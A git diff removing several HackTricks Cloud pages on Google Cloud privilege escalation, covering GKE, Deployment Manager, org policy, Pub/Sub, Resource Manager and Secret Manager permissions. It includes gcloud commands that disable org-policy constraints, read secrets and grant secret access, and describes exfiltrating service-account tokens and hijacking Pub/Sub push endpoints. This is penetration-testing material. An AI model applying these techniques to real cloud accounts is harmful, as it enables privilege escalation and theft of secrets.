-    certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUVMRENDQXBTZ0F3SUJBZ0lRRzNaQmJTSVlzeVRPR1FYODRyNDF3REFOQmdrcWhraUc5dzBCQVFzRkFEQXYKTVMwd0t3WURWUVFERXlRMk9UQXhZVEZoWlMweE56ZGxMVFF5TkdZdE9HVmhOaTAzWVdFM01qVmhNR05tTkdFdwpJQmNOTWpJeE1qQTBNakl4T1RJMFdoZ1BNakExTWpFeE1qWXlNekU1TWpSYU1DOHhMVEFyQmdOVkJBTVRKRFk1Ck1ERmhNV0ZsTFRFM04yVXROREkwWmkwNFpXRTJMVGRoWVRjeU5XRXdZMlkwWVRDQ0FhSXdEUVlKS29aSWh2Y04KQVFFQkJRQURnZ0dQQURDQ0FZb0NnZ0dCQU00TWhGemJ3Y3VEQXhiNGt5WndrNEdGNXRHaTZmb0pydExUWkI4Rgo5TDM4a2V2SUVWTHpqVmtoSklpNllnSHg4SytBUHl4RHJQaEhXMk5PczFNMmpyUXJLSHV6M0dXUEtRUmtUWElRClBoMy9MMDVtbURwRGxQK3hKdzI2SFFqdkE2Zy84MFNLakZjRXdKRVhZbkNMMy8yaFBFMzdxN3hZbktwTWdKVWYKVnoxOVhwNEhvbURvOEhUN2JXUTJKWTVESVZPTWNpbDhkdDZQd3FUYmlLNjJoQzNRTHozNzNIbFZxaiszNy90RgpmMmVwUUdFOG90a0VVOFlHQ3FsRTdzaVllWEFqbUQ4bFZENVc5dk1RNXJ0TW8vRHBTVGNxRVZUSzJQWk1rc0hyCmMwbGVPTS9LeXhnaS93TlBRdW5oQ2hnRUJIZTVzRmNxdmRLQ1pmUFovZVI1Qk0vc0w1WFNmTE9sWWJLa2xFL1YKNFBLNHRMVmpiYVg1VU9zMUZIVXMrL3IyL1BKQ2hJTkRaVTV2VjU0L1c5NWk4RnJZaUpEYUVGN0pveXJvUGNuMwpmTmNjQ2x1eGpOY1NsZ01ISGZKRzZqb0FXLzB0b2U3ek05RHlQOFh3NW44Zm5lQm5aVTFnYXNKREZIYVlZbXpGCitoQzFETmVaWXNibWNxOGVPVG9LOFBKRjZ3SURBUUFCbzBJd1FEQU9CZ05WSFE4QkFmOEVCQU1DQWdRd0R3WUQKVlIwVEFRSC9CQVV3QXdFQi96QWRCZ05WSFE0RUZnUVU5UkhvQXlxY3RWSDVIcmhQZ1BjYzF6Sm9kWFV3RFFZSgpLb1pJaHZjTkFRRUxCUUFEZ2dHQkFLbnp3VEx0QlJBVE1KRVB4TlBNbmU2UUNqZDJZTDgxcC9oeVc1eWpYb2w5CllkMTRRNFVlVUJJVXI0QmJadzl0LzRBQ3ZlYUttVENaRCswZ2wyNXVzNzB3VlFvZCtleVhEK2I1RFBwUUR3Z1gKbkJLcFFCY1NEMkpvZ29tT3M3U1lPdWVQUHNrODVvdWEwREpXLytQRkY1WU5ublc3Z1VLT2hNZEtKcnhuYUVGZAprVVl1TVdPT0d4U29qVndmNUsyOVNCbGJ5YXhDNS9tOWkxSUtXV2piWnZPN0s4TTlYLytkcDVSMVJobDZOSVNqCi91SmQ3TDF2R0crSjNlSjZneGs4U2g2L28yRnhxZWFNdDladWw4MFk4STBZaGxXVmlnSFMwZmVBUU1NSzUrNzkKNmozOWtTZHFBYlhPaUVOMzduOWp2dVlNN1ZvQzlNUk1oYUNyQVNhR2ZqWEhtQThCdlIyQW5iQThTVGpQKzlSMQp6VWRpK3dsZ0V4bnFvVFpBcUVHRktuUTlQcjZDaDYvR0xWWStqYXhuR3lyUHFPYlpNZTVXUDFOUGs4NkxHSlhCCjc1elFvanEyRUpxanBNSjgxT0gzSkxOeXRTdmt4UDFwYklxTzV4QUV0OWxRMjh4N28vbnRuaWh1WmR6M0lCRU8KODdjMDdPRGxYNUJQd0hIdzZtKzZjUT09Ci0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K
-    server: https://34.123.141.28
-  name: gke_security-devbox_us-central1_autopilot-cluster-1
-contexts:
-- context:
-    cluster: gke_security-devbox_us-central1_autopilot-cluster-1
-    user: gke_security-devbox_us-central1_autopilot-cluster-1
-  name: gke_security-devbox_us-central1_autopilot-cluster-1
-current-context: gke_security-devbox_us-central1_autopilot-cluster-1
-kind: Config
-preferences: {}
-users:
-- name: gke_security-devbox_us-central1_autopilot-cluster-1
-  user:
-    auth-provider:
-      config:
-        access-token: <access token>
-        cmd-args: config config-helper --format=json
-        cmd-path: gcloud
-        expiry: "2022-12-06T01:13:11Z"
-        expiry-key: '{.credential.token_expiry}'
-        token-key: '{.credential.access_token}'
-      name: gcp
-```
-
-### `container.roles.escalate` | `container.clusterRoles.escalate`
-
-**Kubernetes** by default **prevents** principals from being able to **create** or **update** **Roles** and **ClusterRoles** with **more permissions** that the ones the principal has. However, a **GCP** principal with that permissions will be **able to create/update Roles/ClusterRoles with more permissions** that ones he held, effectively bypassing the Kubernetes protection against this behaviour.
-
-**`container.roles.create`** and/or **`container.roles.update`** OR **`container.clusterRoles.create`** and/or **`container.clusterRoles.update`** respectively are **also** **necessary** to perform those privilege escalation actions.
-
-### `container.roles.bind` | `container.clusterRoles.bind`
-
-**Kubernetes** by default **prevents** principals from being able to **create** or **update** **RoleBindings** and **ClusterRoleBindings** to give **more permissions** that the ones the principal has. However, a **GCP** principal with that permissions will be **able to create/update RolesBindings/ClusterRolesBindings with more permissions** that ones he has, effectively bypassing the Kubernetes protection against this behaviour.
-
-**`container.roleBindings.create`** and/or **`container.roleBindings.update`** OR **`container.clusterRoleBindings.create`** and/or **`container.clusterRoleBindings.update`** respectively are also **necessary** to perform those privilege escalation actions.
-
-### `container.cronJobs.create` | `container.cronJobs.update` | `container.daemonSets.create` | `container.daemonSets.update` | `container.deployments.create` | `container.deployments.update` | `container.jobs.create` | `container.jobs.update` | `container.pods.create` | `container.pods.update` | `container.replicaSets.create` | `container.replicaSets.update` | `container.replicationControllers.create` | `container.replicationControllers.update` | `container.scheduledJobs.create` | `container.scheduledJobs.update` | `container.statefulSets.create` | `container.statefulSets.update`
-
-All these permissions are going to allow you to **create or update a resource** where you can **define** a **pod**. Defining a pod you can **specify the SA** that is going to be **attached** and the **image** that is going to be **run**, therefore you can run an image that is going to **exfiltrate the token of the SA to your server** allowing you to escalate to any service account.\
-For more information check:
-
-As we are in a GCP environment, you will also be able to **get the nodepool GCP SA** from the **metadata** service and **escalate privileges in GC**P (by default the compute SA is used).
-
-### `container.secrets.get` | `container.secrets.list`
-
-As [**explained in this page**, ](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#listing-secrets)with these permissions you can **read** the **tokens** of all the **SAs of kubernetes**, so you can escalate to them.
-
-### `container.pods.exec`
-
-With this permission you will be able to **exec into pods**, which gives you **access** to all the **Kubernetes SAs running in pods** to escalate privileges within K8s, but also you will be able to **steal** the **GCP Service Account** of the **NodePool**, **escalating privileges in GCP**.
-
-### `container.pods.portForward`
-
-As **explained in this page**, with these permissions you can **access local services** running in **pods** that might allow you to **escalate privileges in Kubernetes** (and in **GCP** if somehow you manage to talk to the metadata service)**.**
-
-### `container.serviceAccounts.createToken`
-
-Because of the **name** of the **permission**, it **looks like that it will allow you to generate tokens of the K8s Service Accounts**, so you will be able to **privesc to any SA** inside Kubernetes. However, I couldn't find any API endpoint to use it, so let me know if you find it.
-
-### `container.mutatingWebhookConfigurations.create` | `container.mutatingWebhookConfigurations.update`
-
-These permissions might allow you to escalate privileges in Kubernetes, but more probably, you could abuse them to **persist in the cluster**.\
-For more information [**follow this link**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#malicious-admission-controller).
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md b/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md
deleted file mode 100644
index 38c2f36ce..000000000
--- a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md
+++ /dev/null
@@ -1,55 +0,0 @@
-# GCP - Deploymentmaneger Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## deploymentmanager
-
-### `deploymentmanager.deployments.create`
-
-This single permission lets you **launch new deployments** of resources into GCP with arbitrary service accounts. You could for example launch a compute instance with a SA to escalate to it.
-
-You could actually **launch any resource** listed in `gcloud deployment-manager types list`
-
-In the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) following[ **script**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/deploymentmanager.deployments.create.py) is used to deploy a compute instance, however that script won't work. Check a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/1-deploymentmanager.deployments.create.sh)**.**
-
-### `deploymentmanager.deployments.update`
-
-This is like the previous abuse but instead of creating a new deployment, you modifies one already existing (so be careful)
-
-Check a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/e-deploymentmanager.deployments.update.sh)**.**
-
-### `deploymentmanager.deployments.setIamPolicy`
-
-This is like the previous abuse but instead of directly creating a new deployment, you first give you that access and then abuses the permission as explained in the previous _deploymentmanager.deployments.create_ section.
-
-## References
-
-* [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-misc-perms-privesc.md b/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-misc-perms-privesc.md
deleted file mode 100644
index 05cf0eeb1..000000000
--- a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-misc-perms-privesc.md
+++ /dev/null
@@ -1,51 +0,0 @@
-# GCP - Generic Permissions Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Generic Interesting Permissions
-
-### \*.setIamPolicy
-
-If you owns a user that has the **`setIamPolicy`** permission in a resource you can **escalate privileges in that resource** because you will be able to change the IAM policy of that resource and give you more privileges over it.\
-This permission can also allow to **escalate to other principals** if the resource allow to execute code and the iam.ServiceAccounts.actAs is not necessary.
-
-* _cloudfunctions.functions.setIamPolicy_
-  * Modify the policy of a Cloud Function to allow yourself to invoke it.
-
-There are tens of resources types with this kind of permission, you can find all of them in [https://cloud.google.com/iam/docs/permissions-reference](https://cloud.google.com/iam/docs/permissions-reference) searching for setIamPolicy.
-
-### \*.create, \*.update
-
-These permissions can be very useful to try to escalate privileges in resources by **creating a new one or updating a new one**. These can of permissions are specially useful if you also has the permission **iam.serviceAccounts.actAs** over a Service Account and the resource you have .create/.update over can attach a service account.
-
-### \*ServiceAccount\*
-
-This permission will usually let you **access or modify a Service Account in some resource** (e.g.: compute.instances.setServiceAccount). This **could lead to a privilege escalation** vector, but it will depend on each case.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md b/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md
deleted file mode 100644
index 60059cf64..000000000
--- a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md
+++ /dev/null
@@ -1,53 +0,0 @@
-# GCP - Orgpolicy Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## orgpolicy
-
-### `orgpolicy.policy.set`
-
-An attacker leveraging **orgpolicy.policy.set** can manipulate organizational policies, which will allow him to remove certain restrictions impeding specific operations. For instance, the constraint **appengine.disableCodeDownload** usually blocks downloading of App Engine source code. However, by using **orgpolicy.policy.set**, an attacker can deactivate this constraint, thereby gaining access to download the source code, despite it initially being protected.
-
-{% code overflow="wrap" %}
-```bash
-# Get info
-gcloud resource-manager org-policies describe <org-policy> [--folder <id> | --organization <id> | --project <id>]
-
-# Disable
-gcloud resource-manager org-policies disable-enforce <org-policy> [--folder <id> | --organization <id> | --project <id>]
-```
-{% endcode %}
-
-A python script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/orgpolicy.policy.set.py).
-
-## References
-
-* [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pubsub-privesc.md b/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pubsub-privesc.md
deleted file mode 100644
index dbddd51d6..000000000
--- a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pubsub-privesc.md
+++ /dev/null
@@ -1,63 +0,0 @@
-# GCP - Pubsub Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## PubSub
-
-Get more information in:
-
-{% content-ref url="../gcp-services/gcp-pub-sub.md" %}
-[gcp-pub-sub.md](../gcp-services/gcp-pub-sub.md)
-{% endcontent-ref %}
-
-### `pubsub.snapshots.create`
-
-The snapshots of topics **contain the current unACKed messages and every message after it**. You could create a snapshot of a topic to **access all the messages**, **avoiding access the topic directly**.
-
-### **`pubsub.snapshots.setIamPolicy`**
-
-Assign the pervious permissions to you.
-
-### `pubsub.subscriptions.create`
-
-You can create a push subscription in a topic that will be sending all the received messages to the indicated URL
-
-### **`pubsub.subscriptions.update`**
-
-Set your own URL as push endpoint to steal the messages.
-
-### `pubsub.subscriptions.consume`
-
-Access messages using the subscription.
-
-### `pubsub.subscriptions.setIamPolicy`
-
-Give yourself any of the preiovus permissions
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md b/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md
deleted file mode 100644
index 2d4dea5a5..000000000
--- a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md
+++ /dev/null
@@ -1,45 +0,0 @@
-# GCP - Resourcemanager Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## resourcemanager
-
-### `resourcemanager.organizations.setIamPolicy`
-
-Like in the exploitation of `iam.serviceAccounts.setIamPolicy`, this permission allows you to **modify** your **permissions** against **any resource** at **organization** level. So, you can follow the same exploitation example.
-
-### `resourcemanager.folders.setIamPolicy`
-
-Like in the exploitation of `iam.serviceAccounts.setIamPolicy`, this permission allows you to **modify** your **permissions** against **any resource** at **folder** level. So, you can follow the same exploitation example.
-
-### `resourcemanager.projects.setIamPolicy`
-
-Like in the exploitation of `iam.serviceAccounts.setIamPolicy`, this permission allows you to **modify** your **permissions** against **any resource** at **project** level. So, you can follow the same exploitation example.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md b/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md
deleted file mode 100644
index 9f5c5a7d1..000000000
--- a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md
+++ /dev/null
@@ -1,64 +0,0 @@
-# GCP - Secretmanager Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## secretmanager
-
-For more information about secretmanager:
-
-{% content-ref url="../gcp-services/gcp-secrets-manager-enum.md" %}
-[gcp-secrets-manager-enum.md](../gcp-services/gcp-secrets-manager-enum.md)
-{% endcontent-ref %}
-
-### `secretmanager.versions.access`
-
-This give you access to read the secrets from the secret manager and maybe this could help to escalate privielegs (depending on which information is sotred inside the secret):
-
-```bash
-# Get clear-text of version 1 of secret: "<secret name>"
-gcloud secrets versions access 1 --secret="<secret_name>"
-```
-
-As this is also a post exploitation technique it can be found in:
-
-{% content-ref url="../gcp-post-exploitation/gcp-secretmanager-post-exploitation.md" %}
-[gcp-secretmanager-post-exploitation.md](../gcp-post-exploitation/gcp-secretmanager-post-exploitation.md)
-{% endcontent-ref %}
-
-### `secretmanager.secrets.setIamPolicy`
-
-This give you access to give you access to read the secrets from the secret manager, like using:
-
-```bash
-gcloud secrets add-iam-policy-binding <scret-name> \
-  --member="serviceAccount:<sa-name>@$PROJECT_ID.iam.gserviceaccount.com" \
-  --role="roles/secretmanager.secretAccessor"
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
